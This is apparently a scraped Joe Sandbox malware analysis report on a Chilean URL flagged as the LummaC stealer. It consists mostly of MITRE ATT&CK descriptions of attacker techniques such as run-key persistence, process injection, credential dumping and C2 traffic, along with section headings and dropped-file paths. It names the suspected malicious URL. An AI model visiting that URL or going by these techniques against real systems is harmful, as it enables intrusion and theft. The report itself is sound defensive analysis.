Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report https://patiooutletmaipu.cl/tiendas/head/

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

HTML

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Phishing

Compliance

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\GO30WR0E\sh_rdeqi[1].mp4

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_4i4uwfoi.afp.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5ktrlyqx.4lw.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_q5ox2vc4.1oz.psm1

Windows Analysis Report
https://patiooutletmaipu.cl/tiendas/head/

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre